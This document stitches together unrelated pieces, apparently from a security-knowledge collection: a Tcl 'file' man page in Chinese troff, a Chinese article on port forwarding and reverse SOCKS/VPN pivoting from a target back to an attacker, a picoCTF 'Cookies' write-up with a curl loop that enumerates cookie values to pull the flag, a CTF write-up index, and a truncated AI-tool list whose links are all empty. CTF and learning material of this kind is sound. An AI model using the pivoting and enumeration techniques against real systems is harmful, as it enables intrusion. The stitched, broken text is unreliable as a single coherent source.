7`这里运行解密代码, 并顺着执行`MessageBoxA()`弹出消息框, 拿到flag
sec-knowleage
# Writeup Hack The Vote CTF 2016 Team: akrasuski1, c7f.m0d3, cr019283, nazywam, seikendev, ppr, other019, msm, rev, psrok1, shalom ![](./score.png) ### Table of contents * [Top Kek (crypto 50)](kek_crypto_50) * [Trump Trump (crypto 100)](trump_crypto_100) * [Boxes of ballots (crypto 200)](ballots_crypto_200) * [The best RSA (crypto 250)](rsa_crypto_250) * [Baby hands (crypto 300)](hands_crypto_300) * [SMTPresident (crypto 400)](smtp_crypto_400)
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: file.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: file.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH file 3tcl 8.3 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME file \- 操纵文件名和属性 .SH "总览 SYNOPSIS" \fBfile \fIoption\fR \fIname\fR ?\fIarg arg ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令提供在一个文件名或属性上的一些操作。\fIName\fR 是一个文件的名字;如果它以波浪线(~)开始,则在执行命令之前进行波浪线替换(详情参见\fBfilename\fR 命令的手册条目)。\fIOption\fR 指示对文件名做什么处理。接受 \fIoption\fR 的任何唯一的缩写。有效的选项是: .TP \fBfile atime \fIname\fR ?\fBtime\fR? . 返回一个十进制字符串,给出文件 \fIname \fR上次被访问的时间。如果指定了\fItime\fR,它是这个文件要设置成的访问时间。这个时间是用标准的 POSIX 方式(fashion)度量的,即从一个固定的开始时间至今的秒数(通常是1970年1月1日)。如果文件不存在或它的访问时间不可查询或设置则生成一个错误。在 Windows 上,FAT 文件系统不支持访问时间。 .TP \fBfile attributes \fIname\fR .br \fBfile attributes \fIname\fR ?\fBoption\fR? .br \fBfile attributes \fIname\fR ?\fBoption value option value...\fR? .RS 这个子命令返回或设置与一个文件相关联的特定于平台的值。第一种形式返回特定于平台的标志(flag)和它们的值的一个列表。第二种形式返回指定选项的值。第三种形式设置一个或多个值。这些值是: .PP 在Unix 上,\fB-group\fR 得到或设置这个文件的组名字。给这个命令一个组ID,而它返回一个组名字。\fB-owner\fR 得到或设置这个文件的属主的名字。这个命令返回属主的名字,而在设置属主的时候要传递给它数值的 ID。\fB-permissions\fR 设置或查询 chmod(1) 所使用的八进制代码。这个命令还有限的支持使用 chmod(1)的符号属性来做设置,形式是 [ugo]?[[+\-=][rwxst],[...]],这里使用逗号来分隔多个符号属性(例如: \fBu+s,go\-rw\fR 为用户添加粘住位(sticky),为组和其他删除读和写的许可权)。还支持一个简化的 \fBls\fR式样的字符串,形式是 rwxrwxrwx (必须是 9 个字符)(例如: \fBrwxr\-xr\-t\fR 等价于01755)。 .PP 在 Windows 上,\fB-archive\fR 给出值或设置或清除这个文件的归档属性。\fB-hidden\fR 给出值或设置或清除这个文件的隐藏属性。\fB-longname\fR将把每个路径元素扩展成长版本。不能设置这个属性。\fB-readonly\fR 给出值或设置或清除这个文件的只读属性。\fB-shortname\fR 给出一个字符串,在这里每个路径元素被替换成它的短(8.3)版本的文件名。不能设置这个属性。\fB-system\fR 给出值或设置或清除这个文件的系统属性。 .PP 在 Macintosh 上,\fB-creator\fR给出或设置这个文件的寻找器(Finder)建立者类型。\fB-hidden\fR给出值或设置或清除这个文件的隐藏属性。\fB-readonly\fR 给出值或设置或清除这个文件的只读属性。注意如果打开了文件共享则目录只能被锁定。\fB-type\fR 给出或设置这个文件的寻找器文件类型。 .RE .VS .TP \fBfile channels ?\fIpattern\fR? . 如果没有指定 \fIpattern\fR,则返回所有在这个解释器中注册的打开通道的一个列表。如果指定了 \fIpattern\fR,则只返回匹配\fIpattern\fR 的名字。确定匹配使用与 \fBstring match\fR 相同的规则。 .VE .TP \fBfile copy \fR?\fB\-force\fR? ?\fB\-\|\-\fR? \fIsource\fR \fItarget\fR .br \fBfile copy \fR?\fB\-force\fR? ?\fB\-\|\-\fR? \fIsource\fR ?\fIsource\fR ...? \fItargetDir\fR .RS 第一中形式在路径名 \fItarget \fR底下做文件或路径 \fIsource\fR的一个复件。如果 \fItarget\fR 是一个现存的目录,则使用第二种形式。第二种形式在\fItargetDir \fR中做列出的每个 \fIsource\fR 文件的一个复件。如果指定一个目录作为一个 \fIsource\fR,则这个目录的内容将被递归的复制进 \fItargetDir\fR 中。除非指定 \fB\-force\fR 选项否则现存文件将不被覆写。即使指定了 \fI\-force\fR ,尝试覆写一个非空目录,用一个文件覆写一个目录,或者用一个目录覆写一个文件将导致错误。参数按指定的次序被处理,如果有错误的话,在第一个错误处停止(halt)。一个 \fB\-\|\-\fR 标记选项的结束;在 \fB\-\|\-\fR 之后的参数即使以 \fB\- \fR开始将仍被作为一个 \fIsource\fR 来对待。 .RE .TP \fBfile delete \fR?\fB\-force\fR? ?\fB\-\|\-\fR? \fIpathname\fR ?\fIpathname\fR ... ? . 删除由每个 \fIpathname\fR 参数所指定的文件或目录。只有指定 \fB-force\fR选项才删除非空目录。尝试删除一个不存在文件将导致不作为一个错误来考虑。即使没有指定 \fB-force\fR 项,尝试删除一个只读文件将导致文件被删除。参数按指定的次序被处理,如果有错误的话,在第一个错误处停止(halt)。一个 \fB\-\|\-\fR 标记选项的结束;在 \fB\-\|\-\fR 之后的参数即使以 \fB\- \fR开始将仍被作为一个 \fIpathname\fR来对待。 .TP \fBfile dirname \fIname\fR 返回一个名字,由在 \fIname\fR 中除了最后一个之外的所有路径组成部分(component)组成。如果 \fIname\fR 是一个相对的文件名并且只包含一个路径元素(element),则返回“\fB.\fR” (在 Macintosh 上为“\fB:\fR”)。如果 \fIname\fR 参照一个根目录,则返回根目录。例如, .RS .CS \fBfile dirname c:/\fR .CE 返回 \fBc:/\fR. .PP 注意波浪线替换只在必要的时候进行用以补全(complete)命令。例如, .CS \fBfile dirname ~/src/foo.c\fR .CE 返回 \fB~/src\fR,而 .CS \fBfile dirname ~\fR .CE 返回 \fB/home\fR (or something similar). .RE .TP \fBfile executable \fIname\fR . 如果文件对当前用户是可执行的则返回 \fB1\fR,否则返回\fB0\fR。 .TP \fBfile exists \fIname\fR . 如果文件 \fIname\fR 存在并且当前的用户对找到(lead to)它(所途径)的目录有查找的权利(privilege)则返回\fB1\fR,否则返回 \fB0\fR。 .TP \fBfile extension \fIname\fR . 返回在 \fIname \fR最后那个元素的最后一个点号之后并包括点号的所有在 \fIname\fR中字符。如果在 \fIname\fR 的最后的那个元素中没有点号则返回空串。 .TP \fBfile isdirectory \fIname\fR . 如果文件 \fIname\fR 是一个目录则返回 \fB1\fR,否则返回 \fB0\fR。 .TP \fBfile isfile \fIname\fR . 如果文件 \fIname\fR 是一个普通文件则返回 \fB1\fR,否则返回 \fB0\fR。 .TP \fBfile join \fIname\fR ?\fIname ...\fR? . 接受一个或多个文件名并使用对当前平台正确的路径分隔符来组合它们。如果特定的 \fIname\fR是相对的,则它会被连接到前面的文件名参数上。否则,丢弃所有以前的参数,从当前的参数开始进行连接。例如 .RS .CS \fBfile join a b /foo bar\fR .CE 返回 \fB/foo/bar\fR. .PP 注意任何名字都可以包含分隔符,并且结果总是依从当前平台的规矩: 对 Unix 和 Windows 是 \fB/\fR,对 Macintosh 是 \fB:\fR。 .RE .TP \fBfile lstat \fIname varName\fR . 除了使用 \fIlstat\fR 调用而不使用 \fIstat \fR之外,与 \fBstat\fR 选项(见后)相同。这意味着如果 \fIname\fR 参照一个符号连接,在 \fIvarName\fR 中返回的信息是针对这个连接而不是它所引用的那个文件。在不支持符号连接的系统上这个选项的行为与 \fBstat\fR选项完全一致。 .TP \fBfile mkdir \fIdir\fR ?\fIdir\fR ...? . 建立每个指定的目录。对于每个指定的路径名 \fIdir\fR ,象 \fIdir\fR 自身一样,这个命令将建立所有不存在的父目录。如果指定了一个现存的目录,不做动作并不返回错误。尝试用一个目录覆写一个现存的文件将导致一个错误。参数按指定的次序被处理,如果有错误的话,在第一个错误处停止(halt)。 .TP \fBfile mtime \fIname\fR ?\fItime\fR? . 返回一个十进制字符串,给出文件 \fIname\fR上次被修改的时间。如果指定了\fItime\fR ,它是这个文件要设置成的修改时间。(等价与 Unix 的 \fBtouch\fR)。这个时间是用标准的 POSIX 方式(fashion)度量的,即从一个固定的开始时间至今的秒数(通常是1970年1月1日)。如果文件不存在或它的修改时间不可查询或设置则生成一个错误。 .TP \fBfile nativename \fIname\fR . 返回文件的特定于平台的名字。如果这个文件名需要传递给特定于系统的调用,比如对在 Windows 下的 exec 或在 Macintosh 上的 AppleScript 将会有用。 .TP \fBfile owned \fIname\fR . 如果文件 \fIname\fR 由当前用户所有则返回 \fB1\fR,否则返回 \fB0\fR。 .TP \fBfile pathtype \fIname\fR . 返回 \fBabsolute\fR、\fBrelative\fR、\fBvolumerelative \fR中的一个。如果 \fIname\fR 参照一个在指定卷上的指定文件,路径类型将是 \fBabsolute\fR。如果 \fIname\fR 参照一个相对当前工作目录的一个文件,则路径类型将是 \fBrelative\fR。如果 \fIname\fR 参照在指定卷上的相对于当前工作目录的一个文件,或者在当前工作卷上的指定文件,则路径类型是 \fBvolumerelative\fR。 .TP \fBfile readable \fIname\fR . 如果文件 \fIname\fR 对当前用户是可读的则返回 \fB1\fR,否则返回\fB0\fR。 .TP \fBfile readlink \fIname\fR . 返回由 \fIname\fR 给出的符号连接的值(比如,它指向的文件的名字)。如果 \fIname\fR 不是符号连接或它的值不可读,则返回一个错误。在不支持符号连接的系统上这个选项未定义。 .TP \fBfile rename \fR?\fB\-force\fR? ?\fB\-\|\-\fR? \fIsource\fR \fItarget\fR .TP \fBfile rename \fR?\fB\-force\fR? ?\fB\-\|\-\fR? \fIsource\fR ?\fIsource\fR ...? \fItargetDir\fR .RS 第一种形式接受由路径名\fIsource\fR 指定的文件或目录并且把它重命名成 \fItarget\fR,如果路径名 \fItarget\fR指定了在不同目录下的一个名字,则移动这个文件。如果 \fItarget\fR 是一个现存的目录,则使用第二种形式。第二中形式移动每个 \fIsource\fR 文件或目录到目录 \fItargetDir \fR中。除非指定了\fB-force\fR选项否则不覆写现存的文件。尝试覆写一个非空目录,用一个文件覆写一个目录,或者用一个目录覆写一个文件将导致错误。参数按指定的次序被处理,如果有错误的话,在第一个错误处停止(halt)。一个 \fB\-\|\-\fR 标记选项的结束;在 \fB\-\|\-\fR 之后的参数即使以 \fB\- \fR开始将仍被作为一个 \fIsource\fR 来对待。 .RE .TP \fBfile rootname \fIname\fR . 返回 \fIname\fR 的最后一个组成部分的最后一个“.”之前但不包括这个“.”的 \fIname\fR中的所有字符。如果 \fIname\fR 的最后的组成部分不包含点号,则返回 \fIname\fR。 .TP \fBfile size \fIname\fR . 返回给出文件 \fIname\fR 的大小的以字节为单位的一个十进制字符串。如果文件不存在或它的大小不可查询则生成一个错误。 .TP \fBfile split \fIname\fR . 返回一个列表,它的元素是在 \fIname \fR中的路径的组成部分。列表的第一个元素将与 \fIname \fR有相同的路径类型。所有其他元素将是相对的。除了需要确保一个元素是相对的而无歧义之外,丢弃路径分隔符。例如,在 Unix 下 .RS .CS \fBfile split /foo/~bar/baz\fR .CE 返回 \fB/ foo ./~bar baz\fR 来确保以后的命令在第三个组成部分上不进行波浪线替换。 .RE .TP \fBfile stat \fIname varName\fR . 在 \fIname \fR上调用 \fBstat\fR 内核调用,并且使用由 \fIvarName\fR 给出的变量来持有从内核调用返回的信息。\fIVarName\fR 被作为一个数组变量来对待,并且给这个变量设置下列元素: \fBatime\fR、\fBctime\fR、\fBdev\fR、\fBgid\fR、\fBino\fR、\fBmode\fR、\fBmtime\fR、\fBnlink\fR、\fBsize\fR、\fBtype\fR、\fBuid\fR。除了 \fBtype\fR之外的每个元素都是一个十进制字符串,它们的值来自从 \fBstat\fR 返回的结构中相应的字段。这些值的意义详见 \fBstat\fR 的手册条目。\fBtype\fR 元素给出的文件类型与命令 \fBfile type \fR返回的有相同的形式。这个命令返回一个空串。 .TP \fBfile tail \fIname\fR . 返回在最后一个目录分隔符之后的在 \fIname\fR中的所有字符。如果 \fIname\fR 不包含分隔符则返回\fIname\fR。 .TP \fBfile type \fIname\fR . 返回给出文件 \fIname \fR的类型的一个字符串,它将是\fBfile\fR、\fBdirectory\fR、\fBcharacterSpecial\fR、 \fBblockSpecial\fR、\fBfifo\fR、\fBlink\fR、或 \fBsocket\fR 中的一个。 .TP \fBfile volume\fR . 返回一个适当的 Tcl 列表,给出到挂装在系统上的卷的绝对路径。在Macintosh上,将是挂装驱动器的一个列表,包括本地的和网络的二者。N.B.(?)如果两个驱动器有相同的名字,它们都将出现在卷列表上,但当前没有办法从Tcl 来访问除了第一个之外的任何驱动器。在 UNIX 上,命令将总是返回 "/",因为所有文件系统都是本地挂装的。在 Windows 上,它将返回可获得的本地驱动器的一个列表(比如,{a:/ c:/})。 .TP \fBfile writable \fIname\fR . 如果文件 \fIname\fR 对当前用户是可写的则返回 \fB1\fR,否则返回 \fB0\fR。 .SH "移植要点 PORTABILITY ISSUES" .TP \fBUnix\fR\0\0\0\0\0\0\0 . 这些命令总是使用真实用户和组标识而不使用有效用户和组标识。 .SH "参见 SEE ALSO" filename .SH "关键字 KEYWORDS" attributes, copy files, delete files, directory, file, move files, name, rename files, stat .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
原文 by [一些关于代理的知识](http://foreversong.cn/archives/774) 关于代理,可能我了解的就是简单的web代理,再加上渗透时需要用到的内网转发,最后可能就是上次去了解的nginx反向代理,下面问题是微信群里一大佬的面试题,本着学习的态度,还是来好好学习下各方面的代理知识。 整理后的问题如下: 1. Web反向代理 2. 正向端口转发,反向端口转发,动态端口转发 3. 正向socks/http代理,反向socks/http代理 4. 正向vpn,反向bridge vpn 5. 透明代理、匿名代理、混淆代理、高匿代理有什么区别 对于上述问题一般是怎样理解的,分别有哪些代表性的工具? 下面针对问题来详细分析。 ## 问题一:Web反向代理 这应该就是指利用服务器来处理接受Internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给Internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。 最常见的架构可能就是Nginx反向代理,一方面保护和隐藏真实服务器,另一方面实现负载均衡。 ![](../pictures/webserproxy1.jpeg) ## 问题二:正向端口转发,反向端口转发,动态端口转发 首先先阐述什么是正向和反向端口转发 ![](../pictures/webserproxy2.jpeg) 正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。 实际上 proxy 在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。 正向端口转发的流程: `Lhost-->proxy-->Rhost` Lhost 为了访问到 Rhost,向 proxy 发送了一个请求并且指定目标是 Rhost,然后 proxy 向 Rhost 转交请求并将获得的内容返回给 Lhost,简单来说正向代理就是 proxy 代替了我们去访问 Rhost。 反向端口转发的流程: `Lhost<--->proxy<--->firewall<--->Rhost` Lhost 只向 proxy 发送普通的请求,具体让他转到哪里,proxy 自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许 proxy 数据进出的时候可以有效的进行穿透 这里作一个简单区分。正向代理代理的是客户端,反向代理代理的是服务端,这里用于端口转发同样适用。 下面来阐释什么是正向和反向的端口转发: ### ①正向的端口转发 顾名思义就是把本地主机端口通过待登录主机端口转发到远程主机端口上去。 `ssh -L 50000:www.google.com:80 user@host` 当成功执行上面的命令之后,访问本地的50000端口,就等同于访问 www.google.com 的 80 端口。但和直接访问有着本质的区别:这次是通过登录主机来安全转发数据的,没有人知道你和远程主机之间传输了何种数据。就算你不能和远程主机建立连接(而登录主机能访问),那就能突破(绕过)防火墙的限制。 ### ②反向的端口转发 这里就是指把登录主机端口通过本地主机端口转发到远程主机上。 举例:ssh -R 0.0.0.0:8080:localhost:80 user@host。 当成功执行上面的命令之后,访问登录主机的 8080 端口就相当于访问远程主机的80端口! 设想这样一种情况:你在本机开发了一个web应用,想拿给别人测试,但现在你却处在内网,外网是无法直接访问内网的主机的,怎么办!?很多人可能会说,找台有公网IP的主机,重新部署一下就行了。这样可行,但太麻烦。然而自从你了解了的反向端口转发功能之后,一切都变得简单了。只需在本地主机上执行一下上面例子的命令即可实现外网访问内网web应用。 ### 下面来介绍什么是动态端口转发 这里常见的应用就是ssh的动态绑定。因此动态端口转发也就离不开ssh的一些相关应用,例如翻墙。 ![](../pictures/webserproxy3.jpeg) 首先,墙内的客户机跟墙外的代理服务器,建立好SSH连接,并设定动态绑定,此时墙内客户机上的SSH会监听本地的一个端口7001。 客户机上的程序,将对www.youtube.com:80的请求告知7001端口的SSH,SSH将此请求通过SSH加密连接发送到墙外服务器的SSH上。 由于建立的动态绑定,服务器会将www.youtube.com:80的请求发送给www.youtube.com上的80端口,并在收到回复后,通过原路返回给客户机的SSH,客户机的SSH返回给应用程序。 在这里SSH客户端已经不仅仅是个客户端了,它同时打开了7001端口侦听本机应用程序的请求。这是SSH跟传统用法最大的区别。而服务端的SSH也不仅仅是处理客户端的请求,而是将请求转发到对应的主机和端口,这里的“动态”二字体现在服务端的SSH的转发目标是不固定的,是根据客户端的请求而定的。 ## 问题三:正向socks/http代理,反向socks/http代理 ![](../pictures/webserproxy4.jpeg) 谷歌上搜了很长时间,一直没找到能够令自己满意的答案,大多都是在阐述http代理和socks代理的区别,有点跑题了!这里先说一下两者之间的区别吧。SOCKS工作在比HTTP代理更低的层次:SOCKS使用握手协议来通知代理软件其客户端试图进行的连接SOCKS,然后尽可能透明地进行操作,而常规代理可能会解释和重写报头(例如,使用另一种底层协议,例如FTP;然而,HTTP代理只是将HTTP请求转发到所需的HTTP服务器)。虽然HTTP代理有不同的使用模式,CONNECT方法允许转发TCP连接;然而,SOCKS代理还可以转发UDP流量和反向代理,而HTTP代理不能。HTTP代理通常更了解HTTP协议,执行更高层次的过滤。 回到主题上,正向socks/http代理应该就是我们最常见的这种浏览器代理,通过代理服务器来进行抓包或者传送流量给对方服务器,常见工具的话就是burp或者fd。 反向代理是先在服务器A(比如攻击机)上运行 SOCKS代理的服务端程序监听指定端口,然后在客户机(比如靶机)上运行客户端程序连接服务器的指定端口。这样就建立了一条从靶机到攻击机的反向 SOCKS 隧道,攻击机的应用程序(比如 wget nmap curl …)使用该隧道后,程序的所有流量都会先经过靶机转发出去。 应该不是很难理解,就是从客户机上创建了一个隧道反向连接到我们的服务器,服务器的流量就可以通过从这个隧道出去,实现流量的匿名。常见的工具就是proxychains了吧。 ## 问题四:正向vpn,反向bridge vpn 正向vpn应该比较好理解,就是一般常见的vpn结构,我们客户机连接到墙外的服务器,然后通过这个创建的隧道进行流量的传输。 反向桥接vpn这里举一个例子开头,在参加ctf线下赛时,我们时常需要下载官方提供的vpn软件,然后通过注册的账号密码来登录这个vpn,登录成功后会显示我们本机被分配的一个内网ip,最后通过vpn客户端我们才能访问比赛题目。 这里用到两种技术,一种是反向vpn,一种是桥接模式。对于桥接模式应该比较好理解,就是指本地物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接,物理网卡和虚拟网卡在拓扑图上处于同等地位,那么物理网卡和虚拟网卡就相当于处于同一个网段,虚拟交换机就相当于一台现实网络中的交换机。借助这种架构方式,我们可以通过互联网将客户端和服务端联系起来,使得用户可以在任意联网的机器上,接入运行服务端机器所在的局域网网络,服务器端无需外网IP及防火墙特殊设置即可实现远程接入。 那么反向vpn最常见的应用可能就是vpn pivoting。下面来简单的介绍一下vpn pivoting。 ![](../pictures/webserproxy5.jpeg) 这是vpn pivoting的一个工作架构。攻击机会虚拟出一个网络接口与目标机进行对接,任何应用如果想要访问目标机里的网络,那么就会通过这个虚拟的网络接口进行流量的传输,通过vpn隧道到达目标机的网络,这时候目标机的vpn软件会监听这个隧道的流量,然后通过TUN/TAP驱动将流量传输到网络接口,从而让攻击机能够访问到目标机的网络。 ## 问题五:透明代理、匿名代理、混淆代理、高匿代理有什么区别 这4种代理,主要是在代理服务器端的配置不同,导致其向目标地址发送请求时,REMOTE_ADDR, HTTP_VIA,HTTP_X_FORWARDED_FOR三个变量不同。 1、透明代理(Transparent Proxy) ``` REMOTE_ADDR = Proxy IP HTTP_VIA = Proxy IP HTTP_X_FORWARDED_FOR = Your IP ``` 透明代理虽然可以直接“隐藏”你的IP地址,但是还是可以从HTTP_X_FORWARDED_FOR来查到你是谁。 2、匿名代理(Anonymous Proxy) ``` REMOTE_ADDR = proxy IP HTTP_VIA = proxy IP HTTP_X_FORWARDED_FOR = proxy IP ``` 匿名代理比透明代理进步了一点:别人只能知道你用了代理,无法知道你是谁。 还有一种比纯匿名代理更先进一点的:混淆代理,见下节。 3、混淆代理(Distorting Proxies) ``` REMOTE_ADDR = Proxy IP HTTP_VIA = Proxy IP HTTP_X_FORWARDED_FOR = Random IP address ``` 如上,与匿名代理相同,如果使用了混淆代理,别人还是能知道你在用代理,但是会得到一个假的IP地址,伪装的更逼真:-) 4、高匿代理(Elite proxy或High Anonymity Proxy) ``` REMOTE_ADDR = Proxy IP HTTP_VIA = not determined HTTP_X_FORWARDED_FOR = not determined ``` 可以看出来,高匿代理让别人根本无法发现你是在用代理,所以是最好的选择。 上述如有不当之处,敬请指出~ ![](../pictures/toolsnetporttran.png) ## 参考文章: http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html http://www.pchou.info/linux/2015/11/01/ssh-tunnel.html https://zh.wikipedia.org/zh-hans/SOCKS http://www.evilclay.com/2017/06/11/SOCKS4%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E5%AE%9E%E9%AA%8C/
sec-knowleage
# Cookies Category: Web, 40 points ## Description > Who doesn't love cookies? Try to figure out the best one. ## Solution We visit the website and see the following message: ```html <div class="col-xs-12 col-sm-12 col-md-12"> <h3>Welcome to my cookie search page. See how much I like different kinds of cookies!</h3> </div> ``` Let's check the cookie we get from the server: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cookies] └─$ curl -s http://mercury.picoctf.net:27177/ -I | grep Cookie Set-Cookie: name=-1; Path=/ ``` What if we try to access with a different cookie name? ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cookies] └─$ curl -s http://mercury.picoctf.net:27177/ -H "Cookie: name=0;" -L | grep -i Cookie <title>Cookies</title> <h3 class="text-muted">Cookies</h3> <!-- <strong>Title</strong> --> That is a cookie! Not very special though... <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p> ``` Let's search for that special cookie by trying different numbers: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cookies] └─$ for i in {1..20}; do for> contents=$(curl -s http://mercury.picoctf.net:27177/ -H "Cookie: name=$i; Path=/" -L) for> if ! echo "$contents" | grep -q "Not very special"; then for then> echo "Cookie #$i is special" for then> echo $contents | grep "pico" for then> break for then> fi for> done Cookie #18 is special <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_064663be}</code></p> ``` The flag: `picoCTF{3v3ry1_l0v3s_c00k135_064663be}`
sec-knowleage
--- title: AI Directory date: 2023-03-02 11:28:43 background: bg-purple-600 tags: - AI - List - Tools - Resources categories: - Other intro: This is a quick reference list of cheat sheets for the AI Navigation Directory, designed to help you discover exciting AI tools. --- Getting Started --------------- ### Health & fitness - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Text - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Writing - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Image editing - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Productivity - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Music - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Design assistant - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Image - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Business - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Virtual reality - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Developer tools - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Avatar - [ - [ - [ - [ - [ - 